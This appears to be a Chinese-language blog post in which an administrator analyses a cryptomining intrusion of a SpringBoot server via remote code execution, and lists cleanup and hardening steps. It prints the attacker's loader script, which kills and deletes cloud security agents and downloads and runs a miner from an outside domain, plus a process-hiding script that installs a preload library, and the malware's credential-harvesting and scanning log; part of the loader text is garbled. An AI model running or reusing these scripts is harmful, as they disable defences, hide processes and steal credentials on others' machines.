經常在河邊走,濕不了鞋。我以為自己很有自我安全感,沒想到服務器入侵挖礦也能落到自己頭上。簡要記錄了發現服務器被入侵和挖掘的過程,分析了木馬的蹤跡和信息,最后給出了解決方案。
服務器被入侵挖礦過程
事情經過
昨天是星期六,我睡得很晚。躺在床上玩手機,突然收到阿里云的消息和郵件提醒,服務器有異常行為:
你一看到郵件的內容,就知道了。打開電腦處理一下。首先,使用netstat命令查看端口,找到一個異常端口,但不顯示程序名。此時,我心里已經很清楚,服務器上的Java程序是遠程執行的(RCE),甚至可能被植入了rootkit。第一個問題是保證業務的正??捎?,所以趕緊拉起另一個實例,遷移業務。接下來,首先關閉被入侵的服務器,然后一步步研究入侵過程及其在服務器上的行為。
入侵行為分析
根據郵件內容,SpringBoot應用程序是getshell,用遠程代碼執行。執行的代碼語句base64解碼為:
python -c '導入urllibexec urllib . urlopen(' http://m . windows update support . org/d/loader . py ')。閱讀()
下載它,內容如下:
import sys import OS from OS . path import expand server=sys . version SHS=' ' ' PS aux | grep-v grep | grep ' aegis ' | awk ' { print $ 11 } ' | xargs dirname | xargs RM-rfps aux | grep | grep ' hids ' | awk ' { print $ 11 } ' | xargs dirname | xargs RM-rfps aux | grep-v grep | grep ' cloud walker ' | awk ' { print $ 11 } ' ' xargs RM-rfps aux | grep-v grep | grep ' edr ' | awk ' { print $ 2 } ' | xargs-I { } kill-9 { } PS aux | grep ' aegis ' | awk ' { print $ 2 } ' | xargs-I { } kill-9 { } PS aux | grep ' Yun ' | awk ' { print $ 2 } ' | xargs-I { } kill-9 { } PS aux | grep-v grep | grep '
ep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {}
ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {}
rm -rf /usr/local/aegis
rm -rf /usr/local/qcloud
rm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {}
'''os.system(shs)
domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")
gitdir=""try:
os.mkdir(homedir+"/.git")except Exception as e:
print(e)if os.path.isdir(homedir+"/.git"):
gitdir=homedir+"/.git"try:
os.mkdir("./.git")except Exception as e:
print(e)if os.path.isdir("./.git"):
gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f:
html = f.read()
open(gitdir + "/kworkers", 'wb').write(html)else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f:
f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())
f.close()print ("Download Complete!")
os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):
os.system(gitdir+"/kworkers")else:
os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))
遠程代碼主要做了這些事情:
- 卸載服務器上的安全監控工具;事后開機,發現阿里云盾果然被卸載了
- 關掉所有kworkers進程;
在當前目錄下創建 .git 目錄,下載并執行 kworkers 程序。
服務器殘留痕跡
大概知道了木馬的行為,接著重啟服務器,查看服務器上的痕跡。1、查看有無添加定時任務:木馬添加了定時啟動任務。2、進入木馬主目錄,發現下載了如下文件:# crontab -l
2 * * * /xxx/.git/kworkers
根據日志,主要是下載程序,檢測用戶名和密碼,探測內網,然后啟動自動更新、隱藏進程等程序。/xxx/.git
/xxx/.git
working dir /xxx from pid 23684
version not exist download
Downloaded: http://m.windowsupdatesupport.org/d/download
version not exist dbus
Downloaded: http://m.windowsupdatesupport.org/d/dbus
version not exist hideproc.sh
Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh
error exit status 1version not exist sshkey.sh
Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh
version not exist autoupdate
Downloaded: http://m.windowsupdatesupport.org/d/autoupdate
version not exist kworkers
Key path not found
/xxx/.git
passfound protected
passfound provided
passfound +client
passfound +client
passfound protected
passfound provided
passfound quality
passfound (plus
passfound (digits,
passfound prompt
found aksk xxxx xxxx
found aksk xxxx xxxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
passfound xxx
lstat /proc/7776/fd/3: no such file or directory
lstat /proc/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7776/fd/3: no such file or directory
lstat /proc/7776/task/7776/fdinfo/3: no such file or directory
lstat /proc/7776/task/7777/fd/3: no such file or directory
lstat /proc/7776/task/7777/fdinfo/3: no such file or directory
lstat /proc/7776/task/7778/fd/3: no such file or directory
lstat /proc/7776/task/7778/fdinfo/3: no such file or directory
lstat /proc/7776/task/7779/fd/3: no such file or directory
lstat /proc/7776/task/7779/fdinfo/3: no such file or directory
lstat /proc/7776/task/7780/fd/3: no such file or directory
lstat /proc/7776/task/7780/fdinfo/3: no such file or directory
lstat /proc/7776/task/7781/fd/3: no such file or directory
lstat /proc/7776/task/7781/fdinfo/3: no such file or directory
lstat /proc/7776/task/7782/fd/3: no such file or directory
lstat /proc/7776/task/7782/fdinfo/3: no such file or directory
lstat /proc/7776/task/7783/fd/3: no such file or directory
lstat /proc/7776/task/7783/fdinfo/3: no such file or directory
restart cmd /xxx/.git/kworkers
/xxx/.git
passfound file,
passfound settings
passfound file.
passfound callbacks
passfound Callback
passfound example
passfound prompt
passfound password
passfound information
passfound token
passfound token
passfound token
passfound Password
passfound password
passfound password
passfound -based
passfound Password
passfound (using
passfound field>
passfound retry
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound foobar
passfound password
passfound password
passfound foobar
passfound foobar
passfound secretr
total passwords 25
xxx.xxx.xxx.xxx
lan ip
doscan range xxx.xxx../16
ping...
Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq= time=496.309μs
working dir /xxx from pid 7792
Receive 24 bytes from xxx.xxx.xxx: icmp_seq= time=257.973μs
xxx.xxx.xxx is alive
xxx.xxx.xxx is alive
xxx.xxx.xxx:80 open
xxx.xxx0xxx:443 open
version same download
version same dbus
restart dbus
exec again dbus downrun
kill process pid 23709
process completed
version same hideproc.sh
skip restart hideproc.sh
version same sshkey.sh
skip restart sshkey.sh
version same autoupdate
skip restart autoupdate
version same kworkers
Key path not found
- 對 hideproc.sh 感興趣,其內容為:
其首先檢測是否root用戶,然后編譯 libc2 共享庫,注入隱藏進程的代碼。這應該是用netstat無法查看到進程名的原因。5、查看訪問日志,發現期間有個IP對服務器進行爆po:if [ "$EUID" -ne 0 ] then echo "Please run as root"else
if [ `grep libc2.28 /etc/ld.so.preload` ] then echo "hideproc already done!!"
else
apt-get update -y
apt-get install build-essential -y
yum check-update
yum install build-essential -y
dnf groupinstall "Development Tools" -y
yum group install "Development Tools" -y
curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
mv libc2.28.so /usr/local/lib/ -f
grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
rm -f processhider.c
ls >/tmp/.1 2>&1
grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fifi
其他信息
除了上述文件,/tmp文件夾下還生成了.1和.1.sh-文件;
查詢可疑ip,位于國內北京市,應該是肉雞;
查詢木馬下載域名 windowsupdatesupport.org,今年6月注冊,解析ip都在國外。該域名很有混淆性,并且為了方便直接用http訪問;
除了下載木馬文件挖礦,未改變服務器上的其他數據。
服務器被入侵挖礦解決辦法
雖然知道是 SpringBoot 應用觸發了 RCE,但遺憾目前仍未找到是哪個包導致的漏洞。目前采取的緩解措施為:1、被入侵服務器重裝系統;2、使用非 root 用戶啟動 SpringBoot 應用;
3、被入侵的是子系統,增加基本授權:
apt install -y apache2-utils
htpasswd /etc/nginx/conf.d/.htpasswd user
然后配置 Nginx 使用認證信息:
server {
...
auth_basic "子系統鑒權:";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
..
}
4、防火墻限制對外連接。
上述錯誤能一定程度上避免類似情況再次發生,但找到應用程序中的漏洞才是接下來的重點。總結
幸運的是這次來的是挖礦木馬,服務器上的程序和數據都未受影響。也很感謝阿里云免費的安全提醒,讓我在第一時間處理。
但這次事故也敲醒了警鐘:
- 不要隨意用 root 權限運行程序;
- 防火墻權限要嚴格收緊;
- 做好安全監控;
- 時刻做好數據備份。